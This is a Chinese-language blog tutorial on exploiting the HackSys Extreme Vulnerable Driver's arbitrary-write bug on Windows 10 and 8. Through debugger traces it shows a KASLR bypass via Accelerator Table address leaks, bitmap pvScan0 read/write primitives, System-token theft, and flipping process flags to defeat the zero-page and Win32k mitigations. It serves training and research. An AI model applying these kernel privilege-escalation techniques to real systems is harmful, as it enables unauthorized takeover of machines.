前言
前段时间在博客写了一篇关于HEVD内核漏洞利用训练的一篇文章,感觉当时做HEVD收获很大,非常推荐这个训练,这是HackSys Team做的一个Kernel Driver,里面包含了大量的常见漏洞,而且漏洞原理都非常简单,考验的就是各种各样的利用方法,推荐在Win10下尝试,有各种各样经典的利用方法,比如gsharedInfo,GdiSharedHandleTable,NtAllocateVirtualMemory,替换token的shellcode等等。
对这个训练的研究学习会对内核漏洞的原理,利用方式,Windows下很多常见的数据结构有一个初步的了解,从此打开Ring0的大门。
HEVD项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
对于内核漏洞入门,我推荐的入门方式就是HEVD -> CVE-2014-4113 -> MS15-061,第一个是训练,后两个是实际环境中的漏洞。感觉在Ring0实在是太有意思了(不断被吊打,不断爬起来)!
HEVD:http://bobao.360.cn/learning/detail/3448.html
CVE-2014-4113:http://bobao.360.cn/learning/detail/3170.html
Windows在高版本中采取了越来越多的保护措施来防止漏洞利用,这让攻击变得越来越有意思,很多防护限制让很多漏洞利用变得难上加难,在这篇文章中,我将针对HEVD的一个任意内存读写漏洞,利用Cn33liz的一个Exploit来完成攻击并分析整个过程。
这次攻击有一个主角,那就是Bitmap,本文主要分析在最新Win10版本以及Win8下,Bitmap到底有多强大的威力。
在本文中,我将首先简单介绍一下Bitmap,最新Win10的KASLR机制,对Bitmap造成的影响,以及如何利用Accelerator Table来bypass KASLR。接下来我将和大家分享如何用SetBitmap和GetBitmap来完成攻击,以及攻击的主角,_SURFOBJ中的一个关键结构pvScan0。然后我将和大家分享Win10中的一些疑点,可能是坑,反正至今仍有一些疑惑在里面,接下来,我将结合我的偶像MJ0011在HITCON上一个关于Win8安全特性的演讲,移步Win8,来看看Bitmap的超级杀伤力,以及这些安全特性的防护机制。文末我将把我在Win10和Win8下实验的源码放出来,这个源码中包含对抗Win10和Win8的防护机制的一些过程,是基于Cn33liz大牛的源码改写。文中所有的测试都是基于我改写的源码完成的,相应的注释都在源码中,改动源码仓促也不够漂亮,望大家海涵。因为多次重新调试,地址有变化,可以结合文字一起研究学习。
本文所用原源码项目地址:https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI
关于这个漏洞成因,我不再进行详细的讲解,HackSys team的Github项目里有详细说明,这个任意写漏洞就是可以向指定地址写进指定值,而没有对写入地址和写入内容的合法性进行检查。测试环境是最新版Win10。
陪Win10玩儿--CreateBitmap和KASLR
我之前的那篇HEVD的分享中,是在Windows7下面完成的,在Win7下面,我们拥有很多自由,可以向很多特殊的位置、结构写入shellcode,并且在内核态完成shellcode的执行。但是在Win10中,增加了茫茫多的限制,很多利用变得很困难,shellcode似乎变得不太可行。
而在FuzzySecurity中也提到了data attack,在众多限制下,Bitmap给我们提供了一个极大的便捷,这种攻击手段威力很强,非常有趣。
在Windows10中,我们需要获取Bitmap的内核地址,然后利用Bitmap这种_SURFOBJ结构的一个特殊成员变量来完成攻击,也就是我们后面要提到的pvScan0。
在之前版本的Win10中,可以通过一个特殊的结构GdiSharedHandleTable来获得Bitmap的内核对象地址。这个GdiSharedHandleTable是PEB结构体中的一个结构。而里面存放的内容是一个GDICELL64结构。关于在老版本Win10中利用GdiSharedHandleTable如何来获得Bitmap并进行攻击我不再详述,在文章末尾,我会给出一篇非常棒的技术文章,里面详述了这种攻击方式。
在新版本Win10中,fix了这种方法,GdiSharedHandleTable获得的地址,不再是一个有效的pkernelAddress,也就是说,即使我们通过这种方式和createbitmap的handle获得了一个地址,然而并不是真正的pkernelAddress,当然我们的主角pvScan0也不正确。
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kd> dt @$PEB nt!_PEB GdiSharedHandleTable // +0x0f8 GdiSharedHandleTable : 0x00000000`00e00000 Void kd> db 0x00000000`00e00000+0x0b69*0x18 L8 00000000`00e111d8 69 0b c2 ff ff ff ff ff i....... kd> dd ffffffffffc20b69 ffffffff`ffc20b69 ???????? ???????? ???????? ???????? kd> dd ffff9f9683d01000 ffff9f96`83d01000 270501ac 00000000 00000000 00000000 ffff9f96`83d01010 00000000 00000000 00000000 00000000 |
可以看到,在通过GdiSharedHandleTable获得的Bitmap的内核地址是一个为开辟的内核空间和真正的Bitmap内核地址有所区别。这时候,gSharedInfo出现了,这个gSharedInfo是一个非常经典的结构,在很多kernel exploitation都出现过,它其中包含着内核结构,我们可以通过它获得内核表,然后通过计算偏移得到内核对象地址。
解决这种问题的方法就是用AcceleratorTable加速键表,我之前的内核漏洞调试笔记之二调试的CVE-2015-2546就是用的加速键表,制造一个稳定的内存空洞,连续申请释放内存,直到两次申请释放的AccleratorTable的内核句柄相同,则再申请相同大小的bitmap,这样就能获得GDI对象了,再通过这个对象的phead就是pkernelAddress。
如何获得呢?在这个handleentry里有一个aheList,其中包含了一个phead对象,它就是指向pkerneladdress的。来看一下gSharedInfo的地址,这里我也不知道为什么,感觉可能是Win10很多win32k的结构体不透明化了,看不到tagSharedInfo的结构体,感觉像被隐藏了。
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kd> ?user32!gsharedinfo // 获得gsharedinfo的地址值 Evaluate expression: 140725741012608 = 00007ffd`43cdc680 |
获得了gSharedInfo的地址之后,我们可以通过Accelerator Table的handle,获取到gSharedInfo结构中的aheList对应的内核句柄值。
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kd> dd 7ffd43cdc680 // 查看地址值的内容 00007ffd`43cdc680 01360700 00000000 011e0000 00000000 kd> dt win32k!tagSHAREDINFO // 由于调试时tagSHAREDINFO不透明,这里只能 // 从网上拷贝一个方便说明 +0x000 psi : tagSERVERINFO +0x008 aheList : _HANDLEENTRY kd> dq 7ffd43cdc680+0x8 L1 // +0x8位置的HANDLEENTRY就是我们要的表 00007ffd`43cdc688 00000000`011e0000 |
这样就能得到句柄实际内核地址的表了,也就是指向GDI对象的表,这里就要计算对应的偏移了,计算方法其实和之前GdiSharedHandleTable很像,那个算对应GDICELL64地址的计算方法是:
GdiSharedHandleTable+(handle & 0xffff)*sizeof(GDICELL64)
这里就用_HANDLETABLE_ENTRY + (Accel & 0xffff)*sizeof(Accel)算出地址,这里Accel的值是:
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kd> r eax eax=1700b9 kd> p 0033:00007ff6`956112d1 488d1449 lea rdx,[rcx+rcx*2] // 计算handle的值 kd> p 0033:00007ff6`956112d5 488bc8 mov rcx,rax kd> r rdx rdx=000000000000022b // handle的值为22b kd> dd 11e0000+22b*8 L1 // 11e0000是刚才获得的HANDLENTRY,计算出偏移 // 指向的就是GDI对象 00000000`011e1158 81be7000 ffffbad3 |
紧接着调用DestroyAcceleratorTable释放这个加速键表,可以看到对应句柄内核指针的值也被释放了。注意这里申请的Accelerator Table的大小是700,同样如果制造出一个稳定的hole之后,申请bitmap的大小也是700。
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kd> p 0033:00007ff6`956112d8 488b5cd500 mov rbx,qword ptr [rbp+rdx*8] kd> p 0033:00007ff6`956112dd ff15451f0000 call qword ptr [00007ff6`95613228] kd> p 0033:00007ff6`956112e3 babc020000 mov edx,2BCh kd> dd 11e0000+22b*8 // 对应索引的位置GDI对象被释放 00000000`011e1158 0000042f 00000000 |
可以看到,对应位置存放的GDI对象也释放掉了,再次通过Create申请Accelerator Table。
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0033:00007ff6`956112eb ff152f1f0000 call qword ptr [00007ff6`95613220] kd> p // 返回值eax 0033:00007ff6`956112f1 0fb7c8 movzx ecx,ax kd> r rax rax=00000000001800b9 kd> p 0033:00007ff6`956112f4 488d1449 lea rdx,[rcx+rcx*2] kd> p 0033:00007ff6`956112f8 488bc8 mov rcx,rax kd> r rdx // 计算获得handle,和上一次申请的handle值一样 rdx=000000000000022b kd> dd 11e0000+22b*8 // 查看pkernelAddress 00000000`011e1158 81be7000 ffffbad3 kd> dd ffffbad381be7000 l90 // 对应位置存放的值,+0x0位置就是phead //GdiSharedHandleTable 被fix,可以用这个方法 ffffbad3`81be7000 001800b9 00000000 00000000 00000000 ffffbad3`81be7010 00000000 00000000 000002bc 00000000 |
句柄虽然改变但是对应索引位置在shared info handle entry的值仍然是相同的,这样,再次在相同位置申请bitmap,首先释放,来看下pkernelAddress的值:
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kd> p 0033:00007ff6`95611311 ff15111f0000 call qword ptr [00007ff6`95613228] kd> p 0033:00007ff6`95611317 33c9 xor ecx,ecx kd> dd ffffbad381be7000 // 查看GDI对象的内容也被释放 ffffbad3`81be7000 ???????? ???????? ???????? ???????? ffffbad3`81be7010 ???????? ???????? ???????? ???????? ffffbad3`81be7020 ???????? ???????? ???????? ???????? |
指向的空间也被释放了,随后通过CreateBitmap申请bitmap,大小同样是700,来占用Accelerator制造的稳定内存空洞。调用CreateBitmap之后占用了内存空洞。这样,我们直接找到ffffbad381be7000这个GDI对象。
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kd> p // 调用CreateBitmap创建Bitmap 0033:00007ff6`95611345 ff15dd1c0000 call qword ptr [00007ff6`95613028] kd> p // 创建成功返回 0033:00007ff6`9561134b 488906 mov qword ptr [rsi],rax kd> dd ffffbad381be7000 // 查看原来Accelerator Table的内核地址位置的值 ffffbad3`81be7000 96050bd0 ffffffff 00000000 00000000 |
可以看到,我们成功获得了Bitmap的pkernelAddress,就是0xffffffff96050bd0,这样,我们就成功在KASLR和fix GdiSharedHandleTable下,完成了bitmap pkernelAddress的获取。
SetBitmap/GetBtimap和pvScan0
利用gSharedInfo获取aheList,从而得到Accelerator Table在gshareInfo中的GDI对象从而获得内核地址,利用Accelerator Table制造稳定的内存空洞,最后绕过KASLR和获取Bitmap的pkernelAddress的目的就是获得pvScan0这个结构,这个是Bitmap之所以成为data attack的核心。
这里我要提一下,在调试过程中,我们需要用__asm int 3来下断点,但是在64位下VS不支持内联汇编,因此我们在项目中创建一个.asm文件,实现int 3功能,再将其编译,在项目主文件中用Int_3()来下软中断(详见我的源码),这样我们在SetBitmap下断点,首先命中GDI32!SetBitmapBitsStub:
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kd> p GDI32!SetBitmapBitsStub+0x1c: 0033:00007fff`bd5b44ac 488bd9 mov rbx,rcx kd> p // 调用GDI32的IsTextOutAPresent -> IsSetWorldTransformImplPresent函数 GDI32!SetBitmapBitsStub+0x1f: 0033:00007fff`bd5b44af e878b50000 call GDI32!IsTextOutAPresent (00007fff`bd5bfa2c) |
随后会到达call IsTextOutAPresent函数调用,这个函数在GDI32的实现是IsSetWorldTransformmImplPresent。
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char IsSetWorldTransformImplPresent() { char result; // al@2 char v1; // [sp+30h] [bp+8h]@5 if ( dword_18002E670 == 1 ) //dword_18002E670 检查是否为1 { result = dword_18002E670; } else if ( dword_18002E670 == 2 || (v1 = 0, ApiSetQueryApiSetPresence((__int64)L "LN" , (__int64)&v1) < 0) ) { result = 0; } else { result = v1; dword_18002E670 = 2 - (v1 != 0); } return result; } |
这个函数主要是对dword_18002E670这个值进行判断,这个值是hmod ext ms win gdi internal desktop l1.1.0.dll+0x8位置的一个结构体变量,若为1则直接返回。
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kd> p GDI32!IsUpdateColorsPresent+0x4: // 获取dll+0x8位置的值 0033:00007fff`bd5bfa30 8b0d3aec0100 mov ecx,dword ptr [GDI32!_hmod__ext_ms_win_gdi_internal_desktop_l1_1_0_dll+0x8 (00007fff`bd5de670)] kd> dd 00007fff`bd5de670 // 这个位置的值为1,后面是dll函数偏移 00007fff`bd5de670 00000001 00000000 00000000 00000000 00007fff`bd5de680 ba17ba20 00007fff ba174230 00007fff 00007fff`bd5de690 ba1765d0 00007fff ba1eafa0 00007fff kd> p GDI32!IsUpdateColorsPresent+0xa: // 将这个值和1作比较 0033:00007fff`bd5bfa36 83f901 cmp ecx,1 kd> r ecx ecx=1 |
这个可能是判断ext_ms_win_gdi_internal_desktop_l1.1.0.dll的加载情况,_imp_SetBitMapBits就链在这个dll中,随后会跳转。到zwGdiSetBitmapBits中。
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kd> p // 调用_imp_SetBitmapBits函数 GDI32!SetBitmapBitsStub+0x30: 0033:00007fff`bd5b44c0 ff15c2be0200 call qword ptr [GDI32!_imp_SetBitmapBits (00007fff`bd5e0388)] kd> t // 跳转到NtGdiSetBitmapBits gdi32full!SetBitmapBits: 0033:00007fff`ba17bcf0 48ff2509290900 jmp qword ptr [gdi32full!_imp_NtGdiSetBitmapBits (00007fff`ba20e600)] kd> p win32u!ZwGdiSetBitmapBits: 0033:00007fff`ba2d26f0 4c8bd1 mov r10,rcx // 随后会进入ZwGdiSetBitmap .text:0000000180003330 public ZwGdiSetBitmapDimension .text:0000000180003330 ZwGdiSetBitmapDimension proc near ; DATA XREF: .rdata:000000018000A544_x0019_o .text:0000000180003330 ; .rdata:off_18000C608_x0019_o ... .text:0000000180003330 mov r10, rcx .text:0000000180003333 mov eax, 1118h .text:0000000180003338 test byte ptr ds:7FFE0308h, 1 .text:0000000180003340 jnz short loc_180003345 .text:0000000180003342 syscall .text:0000000180003344 retn |
syscall是AMD CPU下的sysenter,以此进入内核层,由于64位下没有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系统下启用了四个新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相关信息,可以通过rdmsr c0000082的方法查看到syscall跳转地址。这个地址正是nt!KiSystemCall64的入口地址。
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kd> rdmsr c0000082 msr[c0000082] = fffff801`7cb740c0 nt!KiSystemCall64: 0033:fffff801`7cb740c0 0f01f8 swapgs 0033:fffff801`7cb740c3 654889242510000000 mov qword ptr gs:[10h],rsp |
到此,我们进入SetBitmap的内核态,之所以pvScan0这么重要,是因为SetBitmap会对pvScan0指向的内容写数据,GetBitmap会获取pvScan0指向的内容。这样,我们可以设置一个Manager Bitmap(以下称为M)和一个Work Bitmap(以下称为W),将M的pvScan0修改成W的pvScan0地址,这样每次就能用在M上调用SetBitmap将W的pvScan0内容修改成我们想要读或者写的地址,再调用Get/Set Bitmap来向指定地址读取/写入数据了。这么说有点乱,来看一下整个过程。
通过AcceleratorTable制造内存空洞占位获取Bitmap的pkernelAddress之后,可以获取到pvscan0的值,其中M存放W的pvscan0所存放的地址,而W的pvscan0用于最后写入相关的内容,这样我们调用setbitmapbits函数的时候,会将M的pvscan0里存放地址指向的值修改为要写入的地址。
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kd> dq ffffbad383ae9050 L1 // M的pvScan0,现在指向W,这样每次修改,相当 // 于修改W的pvScan0 ffffbad3`83ac8050 ffffbad3`83aeb050 kd> dq ffffbad383aeb050 L1 //W 的pvScan0,所在地址值就是M的pvScan0值 ffffbad3`83ac8050 ffffe28d`12762af0 // 要修改的就是这个值,向这个值的内容 // 读取/写入数据 |
这里就会将ffffbad383aeb050中的值改写,因此在这里下内存写入断点。
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kd> ba w1 ffffbad383aeb050 // 向W的pvScan0下内存写入断点 kd> p Breakpoint 0 hit win32kfull!memmove+0x1cf: // 中断在win32kfull!memmove函数中 ffffbab6`0b940f0f 75ef jne win32kfull!memmove+0x1c0 (ffffbab6`0b940f00) kd> bl 0 e ffffbad383aeb050 w 1 0001 (0001) kd> kb RetAddr:ArgstoChild : Call Site ffffbab6`0b88405c : 00000000`00fff8a0 00000000`00000000 00000000`00000a9a ffffbab6`0bbbf1da : win32kfull!memmove+0x1cc ffffbab6`0b883e1a : ffffbad3`83ae9000 00000000`00000000 ffffffff`00000008 fffff801`00000704 : win32kfull!bDoGetSetBitmapBits+0x168 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!GreSetBitmapBits+0x17a kd> dq ffffbad383adc050 L1 // 这里会写入新的pvScan0,这个值是当前进程的 //token 地址 ffffbad3`83aeb050 ffffe28d`12762b58 kd> !process 0 0 // 查看当前进程 PROCESS ffffe28d12762800 SessionId: 1 Cid: 10cc Peb: 011cb000 ParentCid: 1124 DirBase: 48d5b000 ObjectTable: ffffa709d16d1640 HandleCount: <Data Not Accessible> Image: Stop_by_win10.exe kd> dt nt!_EPROCESS Token ffffe28d12762800 +0x358 Token : _EX_FAST_REF kd> dq ffffe28d12762800+358 L1 // 看看token值,就是pvScan0的值 ffffe28d`12762b58 ffffa709`d1903996 |
在Win10中,绝大多数的win32k.sys实现都在win32full里完成,这里利用M的pvScan0完成了对W的pvScan0值的修改,使之指向了当前进程的Token,接下来只需要调用GetBitmap/SetBitmap通过W的pvScan0,就可以完成对Token的读取和修改,从而完成提权。
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kd> !process 0 4 // 获取System _EPROCESS结构 **** NT ACTIVE PROCESS DUMP **** PROCESS ffffe28d0f662040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffa709c88032c0 HandleCount: <Data Not Accessible> Image: System kd> dq ffffe28d0f662040+358 L1 // 得到System Token值 ffffe28d`0f662398 ffffa709`c88158ad kd> p // 调用setBitmap将这个值写入当前进程的地址 0033:00007ff7`9dd2217f 488bce mov rcx,rsi kd> g Break instruction exception - code 80000003 (first chance) 0033:00007ff7`9dd222b0 cc int 3 kd> !process // 当前进程的_EPROCESS PROCESS ffffe28d12cb2080 SessionId: 1 Cid: 0b48 Peb: 0117d000 ParentCid: 1124 DirBase: 320b6000 ObjectTable: ffffa709d5f84500 HandleCount: <Data Not Accessible> Image: Stop_by_win10.exe kd> dq ffffe28d12cb2080+358 L1 // 利用SetBitmap替换后,当前进程Token变成了 //System Token,提权完成 ffffe28d`12cb23d8 ffffa709`c88158ad |
我和大家分享了pvScan0在Bitmap这种data attack中的核心地位,Bitmap的pkernelAddress的获取方法和如何通过pvScan0完成攻击,接下来,我将结合偶像MJ0011的PPT,来讲一下Win10的一些坑,以及回归Win8下来看一下MJ0011的PPT中介绍的一些防护机制,和Bitmap的威力。
被Win10吊打的日子
在MJ0011的PPT中介绍了几种防护机制,比如禁零页,禁Win32k调用,SMEP,ExPoolWithTagNX等等。本来刚开始想在Win10下进行实验,但是发现Win10下有很多奇怪的坑。这里简单提一下几种防护机制:
1、禁零页,NtAllocateVirtualMmemory是现在常用的内核漏洞利用手法,Win8 _EPROCESS增加了一比特的Flags.VdmAllowed,当为0时禁用,当为1时可用。
2、禁Win32k,Win32k存在很多漏洞,比如UAF,我在前面两个经典内核漏洞调试的分享中都是Win32k出的问题,这里通过_EPROCESS结构增加一比特的Flags2.DisallowWin32kSystemCalls禁用调用。
3、SMEP,在内核漏洞利用中,通常是利用内核态的一些失误执行用户态申请的空间存放的shellcode,这里直接通过SMEP禁止在内核态执行用户态空间的代码。这里,我将以禁Win32k调用和禁零页来做实验,利用的就是Bitmap来修改这两个比特的值,看看能不能绕过禁用机制,首先来看一下当前进程,以及对应的两个值。
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kd> !process PROCESS ffffe28d12cb2080 SessionId: 1 Cid: 0b48 Peb: 0117d000 ParentCid: 1124 DirBase: 320b6000 ObjectTable: ffffa709d5f84500 HandleCount: <Data Not Accessible> Image: Stop_by_win10.exe kd> dt nt!_EPROCESS VdmAllowed ffffe28d12cb2080 +0x304 VdmAllowed : 0y0 // 标志位为0,禁用零页 kd> dt nt!_EPROCESS DisallowWin32kSystemCalls ffffe28d12cb2080 +0x300 DisallowWin32kSystemCalls : 0y0 // 标志位为1,默认不禁用Win32k kd> dd ffffe28d12cb2080+300 L4 // 查看一下Flags2和Flags的值 ffffe28d`12cb2380 0000d000 144d0c01 a1beb1e1 01d288e0 |
可以看到,在当前进程Win32k API是不禁用的,也就是说,我们仍然可以直接调用Win32k的API,而NtAllocateVirtualMemory则处于禁用状态。对于Flags来说是0000d0000,Flags2来说是144d0c01,这样把它们转换成二进制,把对应比特位置换为1(这个内容可以在我的源码中看到),然后赋值给各自的Flags。
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kd> r r13 // 获取两个Flags值,并且修改比特位之后的值 r13=a1beb1e1164d0c00 kd> r r14 r14=144d0c018000d000 kd> g // 命中软中断 Break instruction exception - code 80000003 (first chance) 0033:00007ff7`9dd222b0 cc int 3 kd> g Break instruction exception - code 80000003 (first chance) 0033:00007ff7`9dd222b0 cc int 3 kd> dd ffffe28d12cb2080+300 L4 // 修改后,通过SetBitmap写入偏移 ffffe28d`12cb2380 8000d000 164d0c01 a1beb1e1 01d288e0 |
这里我采用了Win7零页分配的方法,handle选择0xffffffffffffffff,但是发现在Win10中,会调用ObpReferenceObjectByHandleWithTag函数Check handle,如果不是一个有效的handle,则直接返回,NTSTATUS直接报错。
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kd> p nt!MiAllocateVirtualMemory+0x7b8: fffff801`7cee27c8 498bca mov rcx,r10 kd> p //ObpReferenceObjectByHandleWithTag check handle nt!MiAllocateVirtualMemory+0x7bb: fffff801`7cee27cb e8a0070100 call nt!ObpReferenceObjectByHandleWithTag (fffff801`7cef2f70) kd> p nt!MiAllocateVirtualMemory+0x7c0: fffff801`7cee27d0 89442464 mov dword ptr [rsp+64h],eax kd> r eax // 没有这个handle则返回NTSTATUS eax=c0000008 // ObpReferenceObjectByHandleWithTag 检查逻辑 if ( (BugCheckParameter1 & 0x80000000) != 0i64 ) { if ( BugCheckParameter1 == -1i64 ) // 如果handle值为0xfff....ff { if ( v9 != PsProcessType && v9 ) { LODWORD(v12) = -1073741788; } else { v37 = *(_QWORD *)(v8 + 184); if ( v11 & 0xFFE00000 && a4 ) { LODWORD(v12) = -1073741790; } …… } return (unsigned int)v12; // C0000008 } if ( BugCheckParameter1 == -2i64 ) { } } |
这样,我们就只能修改代码通过OpenProcess获得当前进程handle,并且将VdmAllowed置1,但是发现即使NTSTATUS返回0,也就是STATUS_SUCCESS,仍然无法申请零页位置的内存。
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kd> !process PROCESS ffffe28d12fb0080 SessionId: 1 Cid: 10b0 Peb: 00ddb000 ParentCid: 1124 DirBase: 51685000 ObjectTable: ffffa709d9138200 HandleCount: <Data Not Accessible> Image: Stop_by_win10.exe kd> dt nt!_EPROCESS VdmAllowed ffffe28d12fb0080 // 当前VdmAllowed为1 +0x304 VdmAllowed : 0y1 kd> p 0033:00007ff7`16e7204c ff55a0 call qword ptr [rbp-60h] kd> p 0033:00007ff7`16e7204f 0f28b424e0040000 movaps xmm6,xmmword ptr [rsp+4E0h] kd> p 0033:00007ff7`16e72057 85c0 test eax,eax kd> r eax //NTSTATUS 返回0,也就是STATUS_SUCCESS eax=0 kd> dd 4600000000 // 对应位置零页仍然无法申请 00000046`00000000 ???????? ???????? ???????? ???????? 00000046`00000010 ???????? ???????? ???????? ???????? |
同样,我们修改Win32k为1,这样就禁用了win32k调用,可以发现,在禁用后,会阻止win32k的调用,从而无法初始化cmd。关于win32k调用的逻辑后面会讲到。
回归Win8看防护之NtAllocateVirtualMemory
接下来我们回到Win8 x86,来看一下NtAllocateVirtualMemory的防护到底是怎样的。这里请使用文末我修改后的适用于win8 x86的代码。首先是禁用零页申请内存。我们首先在禁用零页时调试,首先进入内核态,从ntdll进入nt。
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kd> p 001b:77d4f04d e803000000 call 77d4f055 // 调用NtAllocateVirtualMemory kd> t 001b:77d4f055 8bd4 mov edx,esp 001b:77d4f055 8bd4 mov edx,esp 001b:77d4f057 0f34 sysenter //x86 下用sysenter进入内核态 001b:77d4f059 c3 ret |
在nt!NtAllocateVirtualMemory下断点跟踪,在入口处会先将Handle、BaseAddress等内容传入寄存器(用于各种检查,比如对Handle检查合法性,在之前已经提过),接下来会通过fs:[0x124]获取到_KTHRAD结构
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kd> p nt!NtAllocateVirtualMemory+0x34: // 获取KTHREAD结构 81a891a2 648b3d24010000 mov edi,dword ptr fs:[124h] kd> p nt!NtAllocateVirtualMemory+0x3b: 81a891a9 897da8 mov dword ptr [ebp-58h],edi kd> r edi edi=86599bc0 kd> dt nt!_KTHREAD 86599bc0 +0x000 Header : _DISPATCHER_HEADER +0x010 SListFaultAddress : (null) |
之后会将_KTHREAD+0x80偏移的值交给eax寄存器,偏移加0x80实际上就是EPROCESS结构,这个位置属于APC域,这个位置在KTHREAD+0x70的位置,而EPROCESS又保存在KAPC_STATE+0x10的位置
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kd> p //edi 是KTHREAD,eax的值是EPROCESS nt!NtAllocateVirtualMemory+0x3e: 81a891ac 8b8780000000 mov eax,dword ptr [edi+80h] kd> p nt!NtAllocateVirtualMemory+0x44: 81a891b2 8945b0 mov dword ptr [ebp-50h],eax kd> r eax eax=85a44040 kd> !process PROCESS 85a44040 SessionId: 1 Cid: 0860 Peb: 7f74d000 ParentCid: 0f08 DirBase: 3df14300 ObjectTable: 8c173740 HandleCount: <Data Not Accessible> Image: Stop_by_win10.exe kd> dt nt!_KTHREAD ApcState // 偏移加0x70 +0x070 ApcState : _KAPC_STATE kd> dt nt!_KAPC_STATE // 偏移加0x10,一共是0x80,对应的位置是EPROCESS +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS |
接下来我们单步跟踪,到达一处判断,这里会将BaseAddress和0x10000作比较,小于则跳转到另一处判断
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kd> p nt!NtAllocateVirtualMemory+0x9b7: 81a89b25 3bd0 cmp edx,eax kd> r edx edx=00000060 kd> r eax eax=00010000 kd> p nt!NtAllocateVirtualMemory+0x9b9: // 如果申请地址值小于0x1000,则跳转 81a89b27 0f8257781200 jb nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384) kd> p nt! ?? ::NNGAKEGL::`string'+0x19d1a: 81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h kd> dd edi+c4 L1 //edi +0C4就是Flags 85a44104 144d0c01 kd> p nt! ?? ::NNGAKEGL::`string'+0x19d24: // 这里会将VdmAllowed值作比较判断 81bb138e 0f859987edff jne nt!NtAllocateVirtualMemory+0x9bf (81a89b2d) |
这个值很有意思,就是_EPROCESS.Flags2的值,来看一下,而这里判断的就是Flags2中的一个比特位VdmAllowed
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kd> dt nt!_EPROCESS Flags 85a44040 +0x0c4 Flags : 0x144d0c01 kd> dt nt!_EPROCESS VdmAllowed 85a44040 +0x0c4 VdmAllowed : 0y0 |
这里值为0,也就是禁用零页分配,因此这里分配不成功将会进入处理,返回C00000F0
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kd> p nt! ?? ::NNGAKEGL::`string'+0x19d2a: 81bb1394 bef00000c0 mov esi,0C00000F0h kd> p nt! ?? ::NNGAKEGL::`string'+0x19d2f: 81bb1399 e94c87edff jmp nt!NtAllocateVirtualMemory+0x97c (81a89aea) |
我们来看一下NtAllocateVirtualMemory相关逻辑的伪代码。
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NTSTATUS __stdcall NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect) { v65 = ProcessHandle; v68 = BaseAddress; v67 = AllocationSize; v7 = __readfsdword(292); // 获取_KTHREAD结构 v76 = v7; v78 = *(PVOID *)(v7 + 128); // 获取+0x80 EPROCESS结构 …… PreviousMode[0] = *(_BYTE *)(v7 + 346); ms_exc.registration.TryLevel = 0; v9 = v68; // 传递地址值 …… v12 = (unsigned int)*v9; //BaseAddress 连续传递 v74 = v12; // 再次传递 if ( v74 < 0x10000 && !(*(_DWORD *)(v14 + 196) & 0x1000000) ) // 判断v74 BaseAddress是否小于10000,如果小于会认为是零页内存分配,则会判断v14+196,也就是Flags.VdmAllowed是否允许分配 { v25 = 0xC00000F0; // 如果是零页分配且禁用零页分配,则返回C00000F0 goto LABEL_145; } } |
我们尝试使用Bitmap来修改VdmAllowed看看能不能进行零页分配,继续执行到达我们setbitmap的地方。
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kd> g Break instruction exception - code 80000003 (first chance) 001b:00021d21 cc int 3 kd> dt nt!_EPROCESS VdmAllowed 85a44040 +0x0c4 VdmAllowed : 0y1 |
可以看到VdmAllowed被改掉了,进入刚才的判断
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kd> g Breakpoint 1 hit nt!NtAllocateVirtualMemory+0x9b7: // 判断edx小于1000 81a89b25 3bd0 cmp edx,eax kd> r edx edx=00000060 kd> p nt!NtAllocateVirtualMemory+0x9b9: 81a89b27 0f8257781200 jb nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384) kd> p // 判断VdmAllowed为1,允许零页申请 nt! ?? ::NNGAKEGL::`string'+0x19d1a: 81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h kd> p nt! ?? ::NNGAKEGL::`string'+0x19d24: 81bb138e 0f859987edff jne nt!NtAllocateVirtualMemory+0x9bf (81a89b2d) kd> p nt!NtAllocateVirtualMemory+0x9bf: // 跳转到正常流程,而不返回C0000F0 81a89b2d 8bc6 mov eax,esi |
可以看到,绕过了刚才的判断,接下来直接执行,可以看到,NtAllocateVirtualMemory返回了STATUS_SUCCESS(图)
回归Win8看防护之Win32k.sys
下面我们来看一下Win32k的API禁用的情况,当然这里默认Disallow的比特位也是为0,也就是在当前进程不禁用Win32k系统调用,在PsConvertToGuiThread函数中。
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kd> p nt!PsConvertToGuiThread+0x9: // 获得KTHREAD结构 81b0c67f 648b3524010000 mov esi,dword ptr fs:[124h] kd> r esi esi=8548b040 kd> dt nt!_KTHREAD 8548b040 +0x000 Header : _DISPATCHER_HEADER +0x010 SListFaultAddress : (null) kd> p nt!PsConvertToGuiThread+0x2c: //ecx 获得EPROCESS结构 81b0c6a2 8b8e80000000 mov ecx,dword ptr [esi+80h] kd> p nt!PsConvertToGuiThread+0x32: // 对应Flags2的偏移 81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h kd> dt nt!_EPROCESS Flags2 8548b040+70 +0x0c0 Flags2 : 0x1020201 kd> dt nt!_EPROCESS DisallowWin32kSystemCalls +0x0c0 DisallowWin32kSystemCalls : 0y0 // 判断Disallow比特位的值 |
这里DisallowWin32kSystemCalls的比特位为0,也就是允许win32k调用,这里到达一处条件判断,判断的就是这个比特位,如果为1,则会跳转返回C0000005,当前状态为0,允许执行时,会继续执行。
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kd> p nt!PsConvertToGuiThread+0x3c: 81b0c6b2 757e jne nt!PsConvertToGuiThread+0xbc (81b0c732) kd> p nt!PsConvertToGuiThread+0x3e: 81b0c6b4 8d55ff lea edx,[ebp-1] |
接下来,我们注释掉还原的setbitmap部分,重新执行,看到Disallow比特位为1,这时候程序会进入错误处理,返回C0000022
